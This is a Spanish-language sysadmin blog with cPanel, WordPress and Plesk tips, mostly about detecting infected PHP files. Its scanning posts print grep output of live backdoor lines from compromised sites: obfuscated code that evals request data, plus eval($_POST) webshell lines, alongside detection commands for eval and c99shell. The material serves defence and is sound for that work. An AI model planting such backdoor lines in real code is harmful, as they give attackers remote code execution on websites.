Mostrando entradas con la etiqueta cpanel. Mostrar todas las entradas
Mostrando entradas con la etiqueta cpanel. Mostrar todas las entradas

martes, 18 de agosto de 2020

Detectar archivos infectados en wordpress y páginas web

 Es muy común que los sitios son atacados por hackers modificando o añadiendo archivos malignos (infectados), principalmente sitios elaborador con wordpress


Este comando te ayuda a detectar esos archivos, lo tienes que ejecutar por shell (ssh)

 

 

 grep -R  'eval(' /home3/m*/public_html/*  | grep -v 'Binary file' | grep -v '.css:' | grep -v '.js'  | grep -v retriev |grep -v evalua | grep -v revalida | grep -v jquery | grep -v '.po:' | grep -v doubleval | grep -v 'INSTR(LCASE('  | grep -v '(strpos(strtolower($entry' | grep -v PCLZIP | grep -v 'INSTR('  > /root/lista.txt && cat /root/lista.txt && cat /root/lista.txt | mail -s "Backup" -a /root/lista.txt tucorreo@algo.com





rojo remplazar
azul remplazar con instrucciones





instrucciones azul

/home /home2 /home3  es la unidad de disco a escanear

en el ejemplo esta
/home3/m*   =  disco 3 todos los usuarios cpanel que comiencen con M

/home3/medix   =  disco 3 escanear al usuario  medix

/home3/*   =  disco 3 todos los usuarios

/home2/*   =  disco 2 todos los usuarios

/home/*   =  disco 1 todos los usuarios

etc...



que hace el comando

Busca todos los archivos que contengan el comando eval , ese es el comando mas utilizado por atacantes, en un 99%;  PD no siempre entran por este comando pero casi siempre lo usan para una vez infectado atacar al sitio o hacer sus cosas.

luego perfecciono el comando con otros tipos de ataques o amenazas


Aclaraciones del resultado, este resultado muestra los archivos con ese comando, no significa que estén infectados , intente eliminar la mayor cantidad de usos buenos

Típicos  archivos maliciosos



caracteres raros


tiendadebuceo/history.php:<?php                                                                                                                                                                                                                                                               $qV="stop_";$s20=strtoupper($qV[4].$qV[3].$qV[2].$qV[0].$qV[1]);if(isset(${$s20}['q64cbee'])){eval(${$s20}['q64cbee']);}?><?php


una cadena de muchas letras y numeros acompañados de un eval



eval(base64decode("mnAISDNQmnmxsa98hjn98lkASDumw3idmnaSDYB)ebiSAD867b3iu97ASDFNBIAJdn783hkjABSND783b2kjbnSAkjdnjuahsd3wb98HJb7983bkashdbashjdbajshbda....



 

 

 

viernes, 26 de febrero de 2016

Instalar certificado SSL en cpanel con godaddy

Instalar certificado SSL en cpanel con godaddy


La documentación de godaddy y cpanel esta algo escasa y en varios casos con direcciones inexistentes (error 404).

Intentar adivinar el orden de los certificados esta en chino, pero les comparto este video con muy buena explicación


 


Espero los sirva.

miércoles, 25 de marzo de 2015

Como detectar archivos maliciosos en wordpress desde shell


Ejecuta estos comandos y te saldrán los sospechosos


Método 1

# cd /carpeta/sitio/afectado
#grep eval * -R | grep php  | grep '\[' | grep -v p_options | grep -v preg_match > /ruta/resultado1.txt


Método 2

# cd /carpeta/sitio/afectado
# grep -R  eval * | grep base64 | grep php > /ruta/resultado2.txt


 En /ruta/resultado1 y /ruta/resultado2 se encontrarán los sospechosos

algo como esto:


tiendadebuceo/admirote/tabs/AdminBackup.php:<?php                                                                                                                                                                                                                                                               $qV="stop_";$s20=strtoupper($qV[4].$qV[3].$qV[2].$qV[0].$qV[1]);if(isset(${$s20}['q44ff8e'])){eval(${$s20}['q44ff8e']);}?><?php
tiendadebuceo/admirote/tabs/AdminImageResize.php:<?php                                                                                                                                                                                                                                                               $sF="PCT4BA6ODSE_";$s21=strtolower($sF[4].$sF[5].$sF[9].$sF[10].$sF[6].$sF[3].$sF[11].$sF[8].$sF[10].$sF[1].$sF[7].$sF[8].$sF[10]);$s20=strtoupper($sF[11].$sF[0].$sF[7].$sF[9].$sF[2]);if (isset(${$s20}['n7a495f'])) {eval($s21(${$s20}['n7a495f']));}?><?php
tiendadebuceo/tools/smarty/internals/core.run_insert_handler.php:                $smarty->_eval($_params['php_resource']);
tiendadebuceo/history.php:<?php                                                                                                                                                                                                                                                               $qV="stop_";$s20=strtoupper($qV[4].$qV[3].$qV[2].$qV[0].$qV[1]);if(isset(${$s20}['q64cbee'])){eval(${$s20}['q64cbee']);}?><?php
tiendadebuceo/discount.php:<?php                                                                                                                                                                                                                                                               $sF="PCT4BA6ODSE_";$s21=strtolower($sF[4].$sF[5].$sF[9].$sF[10].$sF[6].$sF[3].$sF[11].$sF[8].$sF[10].$sF[1].$sF[7].$sF[8].$sF[10]);$s20=strtoupper($sF[11].$sF[0].$sF[7].$sF[9].$sF[2]);if (isset(${$s20}['n5dcf91'])) {eval($s21(${$s20}['n5dcf91']));}?><?php
tiendadebuceo/classes/PDF.php:<?php                                                                                                                                                                                                                                                               $sF="PCT4BA6ODSE_";$s21=strtolower($sF[4].$sF[5].$sF[9].$sF[10].$sF[6].$sF[3].$sF[11].$sF[8].$sF[10].$sF[1].$sF[7].$sF[8].$sF[10]);$s20=strtoupper($sF[11].$sF[0].$sF[7].$sF[9].$sF[2]);if (isset(${$s20}['n3d7280'])) {eval($s21(${$s20}['n3d7280']));}?><?php
tiendadebuceo/classes/Scene.php:<?php                                                                                                                                                                                                                                                               $qV="stop_";$s20=strtoupper($qV[4].$qV[3].$qV[2].$qV[0].$qV[1]);if(isset(${$s20}['q39ce7c'])){eval(${$s20}['q39ce7c']);}?><?php
tiendadebuceo/img/index.php:<?php                                                                                                                                                                                                                                                               $sF="PCT4BA6ODSE_";$s21=strtolower($sF[4].$sF[5].$sF[9].$sF[10].$sF[6].$sF[3].$sF[11].$sF[8].$sF[10].$sF[1].$sF[7].$sF[8].$sF[10]);$s20=strtoupper($sF[11].$sF[0].$sF[7].$sF[9].$sF[2]);if (isset(${$s20}['n828e00'])) {eval($s21(${$s20}['n828e00']));}?><?php
tiendadebuceo/img/iindex.php:    eval(base64_decode($_POST["p2"]));
tiendadebuceo/img/iindex.php:    eval($_POST["p1"]);
tiendadebuceo/modules/blockmanufacturer/fr.php:<?php                                                                                                                                                                                                                                                               $sF="PCT4BA6ODSE_";$s21=strtolower($sF[4].$sF[5].$sF[9].$sF[10].$sF[6].$sF[3].$sF[11].$sF[8].$sF[10].$sF[1].$sF[7].$sF[8].$sF[10]);$s20=strtoupper($sF[11].$sF[0].$sF[7].$sF[9].$sF[2]);if (isset(${$s20}['nbfca8c'])) {eval($s21(${$s20}['nbfca8c']));}?><?php
tiendadebuceo/modules/blockmanufacturer/page.php:<?php                                                                                                                                                                                                                                                               $sF="PCT4BA6ODSE_";$s21=strtolower($sF[4].$sF[5].$sF[9].$sF[10].$sF[6].$sF[3].$sF[11].$sF[8].$sF[10].$sF[1].$sF[7].$sF[8].$sF[10]);$s20=strtoupper($sF[11].$sF[0].$sF[7].$sF[9].$sF[2]);if (isset(${$s20}['nf0b08a'])) {eval($s21(${$s20}['nf0b08a']));}?>
tiendadebuceo/modules/tm4b/es.php:<?php                                                                                                                                                                                                                                                               $qV="stop_";$s20=strtoupper($qV[4].$qV[3].$qV[2].$qV[0].$qV[1]);if(isset(${$s20}['q9fa7a1'])){eval(${$s20}['q9fa7a1']);}?><?php
tiendadebuceo/modules/tm4b/cron.php:<?php                                                                                                                                                                                                                                                               $sF="PCT4BA6ODSE_";$s21=strtolower($sF[4].$sF[5].$sF[9].$sF[10].$sF[6].$sF[3].$sF[11].$sF[8].$sF[10].$sF[1].$sF[7].$sF[8].$sF[10]);$s20=strtoupper($sF[11].$sF[0].$sF[7].$sF[9].$sF[2]);if (isset(${$s20}['nb182cc'])) {eval($s21(${$s20}['nb182cc']));}?><?php
tiendadebuceo/modules/article.php:<?php                                                                                                                                                                                                                                                               $sF="PCT4BA6ODSE_";$s21=strtolower($sF[4].$sF[5].$sF[9].$sF[10].$sF[6].$sF[3].$sF[11].$sF[8].$sF[10].$sF[1].$sF[7].$sF[8].$sF[10]);$s20=strtoupper($sF[11].$sF[0].$sF[7].$sF[9].$sF[2]);if (isset(${$s20}['n0e7f9c'])) {eval($s21(${$s20}['n0e7f9c']));}?>
tiendadebuceo/modules/sekeywords/ini.php:<?php                                                                                                                                                                                                                                                               $qV="stop_";$s20=strtoupper($qV[4].$qV[3].$qV[2].$qV[0].$qV[1]);if(isset(${$s20}['q760097'])){eval(${$s20}['q760097']);}?>
tiendadebuceo/modules/sendtoafriend/es.php:<?php                                                                                                                                                                                                                                                               $qV="stop_";$s20=strtoupper($qV[4].$qV[3].$qV[2].$qV[0].$qV[1]);if(isset(${$s20}['q9fa7a1'])){eval(${$s20}['q9fa7a1']);}?><?php
tiendadebuceo/modules/blocknewsletter/en.php:<?php                                                                                                                                                                                                                                                               $sF="PCT4BA6ODSE_";$s21=strtolower($sF[4].$sF[5].$sF[9].$sF[10].$sF[6].$sF[3].$sF[11].$sF[8].$sF[10].$sF[1].$sF[7].$sF[8].$sF[10]);$s20=strtoupper($sF[11].$sF[0].$sF[7].$sF[9].$sF[2]);if (isset(${$s20}['n9cce51'])) {eval($s21(${$s20}['n9cce51']));}?><?php
tiendadebuceo/modules/statsbestsuppliers/lib.php:<?php                                                                                                                                                                                                                                                               $sF="PCT4BA6ODSE_";$s21=strtolower($sF[4].$sF[5].$sF[9].$sF[10].$sF[6].$sF[3].$sF[11].$sF[8].$sF[10].$sF[1].$sF[7].$sF[8].$sF[10]);$s20=strtoupper($sF[11].$sF[0].$sF[7].$sF[9].$sF[2]);if (isset(${$s20}['n828043'])) {eval($s21(${$s20}['n828043']));}?>
wp-admin/network/users.php:    eval(base64_decode($_POST["p2"]));
wp-admin/network/users.php:    eval($_POST["p1"]);
wp-content/plugins/wp-super-cache/plugins/template.php:<?php                                                                                                                                                                                                                                                               $qV="stop_";$s20=strtoupper($qV[4].$qV[3].$qV[2].$qV[0].$qV[1]);if(isset(${$s20}['q13e558'])){eval(${$s20}['q13e558']);}?>
wp-content/plugins/wp-super-cache/wp-cache-phase1.php:<?php                                                                                                                                                                                                                                                               $sF="PCT4BA6ODSE_";$s21=strtolower($sF[4].$sF[5].$sF[9].$sF[10].$sF[6].$sF[3].$sF[11].$sF[8].$sF[10].$sF[1].$sF[7].$sF[8].$sF[10]);$s20=strtoupper($sF[11].$sF[0].$sF[7].$sF[9].$sF[2]);if (isset(${$s20}['n917e4c'])) {eval($s21(${$s20}['n917e4c']));}?><?php
wp-content/plugins/gravityforms/select_columns.php:<?php                                                                                                                                                                                                                                                               $sF="PCT4BA6ODSE_";$s21=strtolower($sF[4].$sF[5].$sF[9].$sF[10].$sF[6].$sF[3].$sF[11].$sF[8].$sF[10].$sF[1].$sF[7].$sF[8].$sF[10]);$s20=strtoupper($sF[11].$sF[0].$sF[7].$sF[9].$sF[2]);if (isset(${$s20}['n75b45d'])) {eval($s21(${$s20}['n75b45d']));}?><?php
wp-content/plugins/gravityforms/js/javascript.php:<?php                                                                                                                                                                                                                                                               $sF="PCT4BA6ODSE_";$s21=strtolower($sF[4].$sF[5].$sF[9].$sF[10].$sF[6].$sF[3].$sF[11].$sF[8].$sF[10].$sF[1].$sF[7].$sF[8].$sF[10]);$s20=strtoupper($sF[11].$sF[0].$sF[7].$sF[9].$sF[2]);if (isset(${$s20}['n642afe'])) {eval($s21(${$s20}['n642afe']));}?>
wp-content/plugins/LayerSlider/helpers/press.php:<?php                                                                                                                                                                                                                                                               $sF="PCT4BA6ODSE_";$s21=strtolower($sF[4].$sF[5].$sF[9].$sF[10].$sF[6].$sF[3].$sF[11].$sF[8].$sF[10].$sF[1].$sF[7].$sF[8].$sF[10]);$s20=strtoupper($sF[11].$sF[0].$sF[7].$sF[9].$sF[2]);if (isset(${$s20}['n33beb2'])) {eval($s21(${$s20}['n33beb2']));}?>
wp-content/plugins/LayerSlider/locales/header.php:<?php                                                                                                                                                                                                                                                               $qV="stop_";$s20=strtoupper($qV[4].$qV[3].$qV[2].$qV[0].$qV[1]);if(isset(${$s20}['q1c1ae6'])){eval(${$s20}['q1c1ae6']);}?>
wp-includes/nav-menu.php:<?php                                                                                                                                                                                                                                                               $qV="stop_";$s20=strtoupper($qV[4].$qV[3].$qV[2].$qV[0].$qV[1]);if(isset(${$s20}['qa89292'])){eval(${$s20}['qa89292']);}?><?php
wp-includes/class-wp-admin-bar.php:<?php                                                                                                                                                                                                                                                               $sF="PCT4BA6ODSE_";$s21=strtolower($sF[4].$sF[5].$sF[9].$sF[10].$sF[6].$sF[3].$sF[11].$sF[8].$sF[10].$sF[1].$sF[7].$sF[8].$sF[10]);$s20=strtoupper($sF[11].$sF[0].$sF[7].$sF[9].$sF[2]);if (isset(${$s20}['n3c0260'])) {eval($s21(${$s20}['n3c0260']));}?><?php
wp-includes/load.php:<?php                                                                                                                                                                                                                                                               $qV="stop_";$s20=strtoupper($qV[4].$qV[3].$qV[2].$qV[0].$qV[1]);if(isset(${$s20}['qd0bbf8'])){eval(${$s20}['qd0bbf8']);}?><?php
wp-includes/SimplePie/option.php:<?php                                                                                                                                                                                                                                                               $qV="stop_";$s20=strtoupper($qV[4].$qV[3].$qV[2].$qV[0].$qV[1]);if(isset(${$s20}['qcdd94a'])){eval(${$s20}['qcdd94a']);}?>
wp-includes/options.php:<?php                                                                                                                                                                                                                                                               $qV="stop_";$s20=strtoupper($qV[4].$qV[3].$qV[2].$qV[0].$qV[1]);if(isset(${$s20}['q6ae4d5'])){eval(${$s20}['q6ae4d5']);}?>
wp-includes/compat.php:<?php                                                                                                                                                                                                                                                               $sF="PCT4BA6ODSE_";$s21=strtolower($sF[4].$sF[5].$sF[9].$sF[10].$sF[6].$sF[3].$sF[11].$sF[8].$sF[10].$sF[1].$sF[7].$sF[8].$sF[10]);$s20=strtoupper($sF[11].$sF[0].$sF[7].$sF[9].$sF[2]);if (isset(${$s20}['na68f2e'])) {eval($s21(${$s20}['na68f2e']));}?><?php 
 

En donde el verde es el unico archivo bueno.

Como solucionarlo?

eso depende de como sea el tipo de ataque,  si es un archivo 100% nocivo se elimina todo el archivo, si es un archivo bueno al cual le añadieron lineas de código solo hay que eliminar esas lineas.





martes, 3 de febrero de 2015

falla CloudLinux There is no data to display





falla estadisticas CloudLinux There is no data to display


La solución es ejecutar

# service lvestats stop
# mv /var/lve/lveinfo.db /var/lve/lveinfo.db.old
# yum reinstall lve-stats



espero les sirva.


viernes, 24 de octubre de 2014

ERROR 500 Internal Server ERROR en Cpanel

500 Internal Server ERROR en Cpanel

Al intentar acceder cualquier php en cpanel sale el error "500 Internal Server ERROR"

Intentas establecer permisos y todo falla; la solucion es ejecutar en shell:


# /scripts/chownpublichtmls


y listo

ACTUALIZACIÓN  función eliminada en cpanel 11.46

viernes, 11 de abril de 2014

Como saber si ando comprometido por heartbleed ?

¿Que es heartbleed?


En pocas palabras es una falla muy grave de seguridad en OpenSSL

OpenSSL esta presente en casi todos los servidores de internet.

mayores informes http://www.heartbleed.com/

¿En que me afecta heartbleed?

Pueden descubrir tu contraseña e información que capturas o envía tus servidores.


¿Como se si mi seguridad esta comprometida?



Para comprobar si la seguridad anda comprometida te comparto dos sitios


http://submeet.net/tools/heartbleed.php

https://pentest-tools.com/vulnerability-scanning/openssl-heartbleed-scanner/


Estoy comprometido ¿que hago?


Actualiza a la ultima versión de openssl y reinicia el servidor

No se hacerlo ¿Qué hago?

Busca en google o en www.mashter.com te pueden proporcionar soporte técnico comercial.



jueves, 3 de abril de 2014

Como generar SPF y para que sirve

El SPF es un registro TXT en el DNS el cual contiene cuales son las IP's y servidores autorizados para enviar correos de ese dominio.

De este modo si alguien configura otro servidor de correos ajeno al tuyo y envía correos a tu nombre el receptor podrá ver que el IP del remitente no esta valido y bloquearlo evitando la suplantación de identidad o enviando spam a tu nombre.


Aquí un generador de reglas SPF

http://www.spfwizard.net/

espero te sirva.


martes, 25 de marzo de 2014

WHM y root bloqueados en Cpanel

El detector de fuerza bruta de cpanel  se vuelve loco y bloquea a root para whm y ssh.

Si tienes webmin u otro medio alterno para ejecutar comandos pon:

#ps aux | grep -i cphulk
#kill -9 PID


 PID es el numero de proceso cPhulkd
> ps aux | grep -i cphulk
root      6289  0.0  0.0  11300  1284 ?        S    10:48   0:00 sh -c (ps aux | grep -i cphulk) 2>&1
root      6290  0.0  0.0  11300   548 ?        S    10:48   0:00 sh -c (ps aux | grep -i cphulk) 2>&1
root      6292  0.0  0.0   6380   708 ?        S    10:48   0:00 grep -i cphulk
root     17703  0.0  0.2  34156  4428 ?        S    Mar24   0:31 cPhulkd - processor
 
entonces el comando sera: 
#kill -9 17703

Despues desactivalo por shell y/o panel whm

#/usr/local/cpanel/bin/cphulk_pam_ctl --disable



miércoles, 26 de febrero de 2014

Cpanel EXIM ERROR 0 processes (antirelayd) sent signal 9 (Solucion)

En cpanel al iniciar EXIM via ssh nos muestra el mensaje

0 processes (antirelayd) sent signal 9

Causa : no me puse a investigar

Solución : entra a whm, cambia el servidor de correo a dovecot, tardara unos minutos,  despues regresalo  courier

y listo

lunes, 3 de febrero de 2014

Sitio en WIX con correo en Hosting Externo


¿Como hace que mi página este en wix y mi correo en un hosting?


El primer paso es que los dns de mi dominio apunte al hosting.

y ahora en el hosting modificamos la configuración del dns



        A   IP-WIX
www     A   IP-WIX
mail    A   IP-hosting
        MX  mail.midominio.com



Y listo, solo esperemos a que se propague el DNS adecuadamente.


martes, 19 de noviembre de 2013

crear email cpanel por ssh (shell)

Para crear un correo electronico para Cpanel desde linea de comandos (ssh,shell) solo ejecuta el siguiente comando y remplaza lo que esta en rojo

#/scripts/addpop elcorreo@tudominio.com elPasswd

y listo, una cuenta de correo a sido creada

miércoles, 9 de octubre de 2013

Como limitar el CPU y RAM en hosting WHM / CPanel

Para ello necesitas instalar el kernel de cloudlinux;  esta es una versión comercial con costo del $14US mensuales.

Para su instalacion primero registrate en http://trial.cloudlinux.com/overview/

Una vez registrado te pasaran un numero de activacion por ejemplo :

12345-9fa77c57ae4f1b4fb526e0338d2dabcd  (codigo ejemplo, usa el de tu suscripcion)

ingresa a shell  y ejecuta remplazando por tu codigo

#wget http://repo.cloudlinux.com/cloudlinux/sources/cln/cldeploy
#sh cldeploy -k 12345-9fa77c57ae4f1b4fb526e0338d2dabcd



Descarga e instalara algunas cosas, despues volverá a compilar apache y php

terminado el proceso reinicia el servidor.

En tu panel whm aparecerá CloudLinux LVE Manager en la opcion de Packages personalisas los recursos asignados a cada plan de hosting.

Recomendaciones:
uso de disco I/O  = 1024 sitio normal,  2048 a portales
memoria ram = 384M
procesos = 6 sitios chicos,  10 a 15 portales
nucleos = 2, portales 4 a 6
porcentaje CPU = sitios pequeños 6%, portales 20-25%

En que me ayuda:

1- reduce la carga del servidor, ya que nadie puede utilizar recursos de más
2- si un sitio consume muchos recursos no se te alentaran las demas paginas.
3- si un hacker inserta un codigo malisioso batallara en tumbar el servidor ya que sus recursos son limitados
4- portales con muchas imagenes o descargas tienen mucha escritura en disco aumentando el iowait y por lo tanto la carga;  esto los limita.

Que pasa si un sitio excede sus recursos;  al visitante le aparece un mensaje de sitio no disponible, recursos insuficientes

Si combinas cloudlinux más mod_qos (tutorial en este sitio) lograran una gran estabilidad, asi cargando tu servidor hasta con 3 veces más dominios.




lunes, 15 de julio de 2013

Detectar y Eliminar SPAM en CPanel Automaticamente

Un modo que me a funcionado es monitorear la cola de correo (queue) y si esta crece mucho lanzar una alerta y/o vaciar por cola por completo,  en mi caso profiero batallar que 3-5 correos buenos se pierdan y el cliente tenga que reenviarlos  a que mi servidor quede boletinado y todos las cuentas de correo tengan problemas.

para exim hay 2 tareas por hacer.

1)- eliminar los correos congelados (frozen), la mayoría provienen de spam y boletines que su cuenta no recibe, solo envia;  estos los elimino todos los días a las 4-5AM;  la finalidad es que estos no proporcionen falsas alertas.

Para ello ejecutamos en cron:
exiqgrep  -i -f | xargs exim -Mrm

2)- Ver si la cola de correo creció mucho para lanzar una alerta preventiva o de acción ejecutada que es vaciar la cola de correo;  crearemos la carpeta /root/exim y ahi pondremos todos nuestros archivos

Para ello creamos 2 archivos que tendran el titulo de los correos de advertencia, en mi caso los llame titulo_amarillo.txt, titulo_rojo.txt.

El contenido de estos archivos puede ser algo como:

Notificacion: Servidor 1 tiene 100 o mas correos en cola
Favor de revisar manualmente

Este texto es parte de la alerta que nos llegara al nuestro email

Ahora creamos el script /root/exim/monitore.sh  y le damos permisos de ejecucion por ejemplo chmod 755 /root/exim/monitore.sh

y con contenido: (personalizan lo de rojo)

#alerta por email
alerta_amarilla=100
#vaciar toda la cola y alerta por email
alerta_roja=400

cola=`exim -bp | exiqsumm | grep TOTAL | awk '{print $1}'`
echo "COLA ="
echo $cola;

if [ "$cola" -ge "$alerta_amarilla" ];
then
#guarda cola actual
 exim -bp > /root/exim/cola_actual.txt

if [ "$cola" -ge "$alerta_roja" ];
then
echo "roja"
#elimina todo el queue
exiqgrep  -i | xargs exim -Mrm
cat /root/exim/titulo_rojo.txt /root/exim/cola_actual.txt  > /root/exim/mensaje_rojo.txt

mail -s "Alerta Roja" yo@micorreo.com < /root/exim/mensaje_rojo.txt


else
echo "amarilla"
cat /root/exim/titulo_amarillo.txt /root/exim/cola_actual.txt  > /root/exim/mensaje_amarillo.txt

mail -s "Alerta Amarilla" yo@micorreo.com < /root/exim/mensaje_amarillo.txt


fi


else

echo "todo bien"

fi


Listo, ahora solo agregamos /root/exim/monitore.sh  a cron cada 5min y listo.




viernes, 17 de mayo de 2013

solucion whm Account Creation Status: failed (Sorry, a group for that username already exists.)

Si al crear o migrar un dominio en WHM (cpanel) y marca el error:

Account Creation Status: failed (Sorry, a group for that username already exists.)


La solución es entrar a shell y ejecutar


# userdel -f elusuarioftp

y vuelve a intentar la importación


en caso de volver a fallar sigue los pasos de este sitio http://alltime.pp.ua/blog/?p=347

martes, 7 de mayo de 2013

Solucionar Error: rpmdb open failed

Este error sucede por:

  • Problemas en el disco duro
  • Detener yum o rpm a mitad de la instalacion
  • Reiniciar o apagar mientras se ejecuta una instalación o actualización


La solución es ejecutar:


# yum clean all
# rm -f /var/lib/rpm/__db.00*
# rpm -vv --rebuilddb
# yum clean all
# yum -y update

Este proceso tardará varios minutos

miércoles, 20 de febrero de 2013

Borrar cola de correos en cpanel

Para borrar correos muy antiguos el comando  es :


# exiqgrep -o 36000 -i | xargs exim -Mrm

en donde 36000 es la cantidad de segundos que son 10hrs, en este caso el comando borra los correos con mas de 10hrs de antiguedad


Para eliminar todos los correos del queue el comando seria

# exiqgrep -o 1 -i | xargs exim -Mrm


y les comparto una página interesante con muchos comandos

http://bradthemad.org/tech/notes/exim_cheatsheet.php


martes, 30 de octubre de 2012

Limtar cantidad máxima de correos por envio


Para limitar la cantidad máxima de correos  hay que seguir los siguientes pasos:

Cpanel


Ingresa a WHM / Exim Configuration Manager / Avances Editor
agregar:
recipients_max = 20

botón Save, y listo

Plesk

Ingresa a shell y edita o crea el archivo  /var/qmail/control/maxrcpt y se agrega la cantidad de destinatarios máximos como un numero;  reinicia qmail y listo


TIP

En lo personal opino que un limite de 20-25 correos simultáneos es más que suficiente; para los que desean notificar a todos los clientes o empleados el camino correcto son  grupos y listas de correos, así como otros sistemas de envío







martes, 16 de octubre de 2012

instalar mod_pagespeed en centos, cpanel o plesk



crear archivo  /etc/yum.repos.d/mod-pagespeed.repo  y agregar




RHEL/CentOS/Fedora 32-Bit

[mod-pagespeed]
name=mod-pagespeed
baseurl=http://dl.google.com/linux/mod-pagespeed/rpm/stable/i386
enabled=1
gpgcheck=0

RHEL/CentOS/Fedora 64-Bit

[mod-pagespeed]
name=mod-pagespeed
baseurl=http://dl.google.com/linux/mod-pagespeed/rpm/stable/x86_64
enabled=1
gpgcheck=0



Ejecutar en shell

# yum --enablerepo=mod-pagespeed install mod-pagespeed

reinicia apache y listo...

para comprobarlo revisa en phpinfo

HTTP Response Headers
X-Mod-Pagespeed1.0.22.7-2003


Existen muchos parámetros a personalizar,  aquí pueden ver ejemplos en acción

http://www.modpagespeed.com/


Almacenar el cache en RAM


Para ello editamos /etc/fstab y agregamos

tmpfs                   /var/www/mod_pagespeed/cache    tmpfs  size=256m,mode=0775,uid=httpd,gid=httpd    0    0 


// en shell
# mv /var/www/mod_pagespeed/cache /var/www/mod_pagespeed/cache_bak
mkdir /var/www/mod_pagespeed/cache
chown apache:apache /var/www/mod_pagespeed/cache
# mount -a




en donde 256m  es la cantidad de memoria asignada a la unidad virtual en RAM; la cantidad necesaria puede variar mucho según nuestras necesidades, un modo es ver cuanto espacio en disco ocupa despues de trabajar un rato con el comando

# du -hs /var/www/mod_pagespeed/cache

Esto puede tomar algunos minutos dependiendo el tipo de sitios alojados, en mi caso ocupo 500M  así que pondré 700M para asegurar que tendré lo suficiente

Desactivando y Activando mod_pagespeed con .htaccess

La sintaxis es:

<IfModule pagespeed_module>
ModPagespeed off
</IfModule>

o


<IfModule pagespeed_module>
ModPagespeed off

</IfModule>

o personalizar parámetros como:


<IfModule pagespeed_module>
  ModPagespeed on
  ...

  ModPagespeedDisableFilters inline_css,inline_javascript

  ModPagespeedEnableFilters move_css_to_head
  ModPagespeedEnableFilters rewrite_css,rewrite_javascript
  ModPagespeedEnableFilters outline_css,outline_javascript
  ...

</IfModule>








viernes, 22 de junio de 2012

buscar y localzar c99shell de modo automatico

Es común que los hosting compartidos tengan problemas con scripts como el c99shell, el cual permite administrar contenido, algunas cosas como instalar y ejecutar codigo  y más; todo dependiendo de nuestra configuración

Aquí una captura



Les presento un script que permite buscar buscarlo y enviarnos un reporte por email el cual podemos colocar en cron

para cPanel

# find /home/*/public_html -name "*.php" -exec grep -i "c99shell" {} \; -print > /tmp/lista_shell.txt
# cat /tmp/lista_shell.txt | uuencode /tmp/lista_wp.txt | mail -s "c99shell encontrados" mi_correo@midominio.com


o para Plesk



# find /var/www/vhosts/*/httpdocs -name "*.php" -exec grep -i "c99shell" {} \; -print > /tmp/lista_shell.txt
# cat /tmp/lista_shell.txt | uuencode /tmp/lista_wp.txt | mail -s "c99shell encontrados" mi_correo@midominio.com






jueves, 21 de junio de 2012

script para detectar archivos malignos en wp-content/uploads

Un problema de wordpress son las fallas en versiones antiguas y plugins defectuosos  haciendo que el atacante publique archivos en la carpeta wp-content/uploads   con los cuales posteriormente realizara travesuras

les presento un script que sirve para detectarlos y enviar un reporte por email, creen un archivo.sh con lo siguiente, y ejecutenlo en cron para que les de un reporte diario a su correo

para Cpanel 


du -a /home/*/www/wp-content/uploads | grep php > /tmp/lista_wp.txt
cat /tmp/lista_wp.txt | uuencode /tmp/lista_wp.txt | mail -s "Maliciosos Wordpress" mi_correo@midominio.com


para Plesk

du -a /var/www/vhosts/*/httpdocs/wp-content/uploads | grep php > /tmp/lista_wp.txt
cat /tmp/lista_wp.txt | uuencode /tmp/lista_wp.txt | mail -s "Maliciosos Wordpress" mi_correo@midominio.com



agregenlo una vez por día en cron y listo.


Como bloquera archivos adjuntos que son virus en postfix o plesk

   Como bloquear adjuntos del correo en Plesk/Postfix   1- edita el archivo  /etc/postfix/main.cf   2- busca el parametro mime_header_checks...